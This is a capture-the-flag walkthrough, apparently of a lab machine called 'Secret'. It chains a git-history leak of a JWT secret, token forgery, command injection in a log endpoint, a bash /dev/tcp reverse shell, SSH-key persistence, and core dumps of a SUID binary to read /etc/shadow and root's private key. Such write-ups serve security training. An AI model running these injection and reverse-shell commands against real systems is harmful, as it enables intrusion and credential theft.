- Difficulty: Easy
- Covered topics / techniques / tools
- Command Injection
- GitTools
URLs for this post

Enumeration
Website
The site shows us a documentation of an API.
You can see it after clicking the "DEMO" button on the top right.
So lets have a look at the docs and register a user. The example looks like this:
I used BURP to create these POST requests. I intercepted the click on the demo button and send it to the repeater tab (CRTL – R). Just use the example request and edit it.
Now we can follow the documentation and login on /api/user/login
Great we have a auth-token now. By trying to send a GET request to /api/priv i had to swtich to the CLI because burp won´t show me any response.
Source code
Ok, the token is working and there was no way to get any further. So i downloaded and unzipped the source code.
i grepped through the source to check for some default credentials and found nothing special. But in the routes/private.js i found this
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file;
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
const getLogs = `git log --oneline ${file}`;
exec(getLogs, (err , output) =>{
if(err){
res.status(500).send(err);
return
}
res.json(output);
})
}
To access /priv we need to land as the user "theadmin" and we need a verified token. But we don´t have the secret key yet to do that. After searching through the code i forgot to list for hidden files (now my alias of ll is now ls -lsaf 🙂 ) and there’s is something interesting.
my dirty little secret
The .env should have a secret token but it was removed. the .git is very nice and to pull out all the information out of it we can use ths script "extractor" from GitHub – GitTools. Cloned it and ran the extractor.sh
./extractor.sh /path/to/loot/local-web/ /path/to/loot/extracted/
Oh boy, it found a lot!
After the script finished we had the following directories.
So i was checking the containing commit notes and ended up with this one.
So let’s get back to the folder before 2-xyz and get that .env file.
Creating JWT
Excellent! With this we can create our verified JWT Token. Let’s try it with our own token at JWT.io By pasting in our token it shows "invalid signature" but when we put in our gathered key we get is verified!
This is the time where we can forge tokens as we like. I grabbed all data from the documentation page and created a valid JWT token.
I send a GET to /api/priv using curl again.
curl http://10.10.11.120/api/priv -H 'auth-token: '
Code execution
Move on to the /api/logs from the private.js above. Handing over a file name as an argument smells like command injection! So i tried to execute ‘id’ first time.
curl http://10.10.11.120/api/logs?file=private.js\;id -H 'auth-token: '
Getting Foothold
By confirming code exectution we start our listener and slap that URL encoded reverse shell in there!
Before:
bash -c 'exec bash -i &>/dev/tcp/10.10.14.4/9999 <&1'
After:
bash%20-c%20'exec%20bash%20-i%20&%3E/dev/tcp/10.10.14.4/9999%20%3C&1'
reverse shell
curl http://10.10.11.120/api/logs\?file=\;bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F10.10.14.4%2F9999%20%3C%261%27 -H 'auth-token: '
Hit enter and we’re on the box!
First thing i did was getting persistance and getting rid of this unstable shell. I placed my public ssh key in the ~/.ssh/authorized_keys file and ssh’d into it.
ssh dasith@10.10.11.120 -i
Grabbed that user flag and moved on with further enumeration
Local enumeration
Before i upload enum scripts like linpeas/winpeas i quickly try some commands like
sudo -l
find / -perm /4000 2>/dev/null
And i was succesfull 🙂 Found the binary ‘count’ with the suid bit set in the /opt/ directory.
The directory contained the binary and the source code written in C.
By executing the binary i verified that is runs with root permissions by reading the /etc/shadow file.
The code shows us one important feature of the binary.
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
printf("Save results a file? [y/N]: ");
This means when the content is loaded into the memory we can kill that running process and a memory dump will be created. As a proof of concept we try it with the /etc/shadow file.
dasith@secret:/opt$ ./count -p
Enter source file/directory name: /etc/shadow
Total characters = 1187
Total words = 36
Total lines = 36
Save results a file? [y/N]: y #This is were we kill that process from another ssh shell via kill -BUS
Path: Bus error (core dumped)
dasith@secret:/opt$
After that a crash report was created under /var/crash.
You can extract the data with the following command:
mkdir /tmp/crash/
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash/
Now use strings to pull out the data you need.
strings /tmp/crash/CoreDump
You can repeat the procedure with the file /root/root.txt but i like to own the machine to its fullest 🙂
dasith@secret:/opt$ ./count -p
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: y #This is were we kill that process from another ssh shell via kill -BUS
Path: Bus error (core dumped)
dasith@secret:/opt$
nano id_rsa #slap that baby in there
chmod 600 id_rsa
ssh root@10.10.11.120 -i id_rsa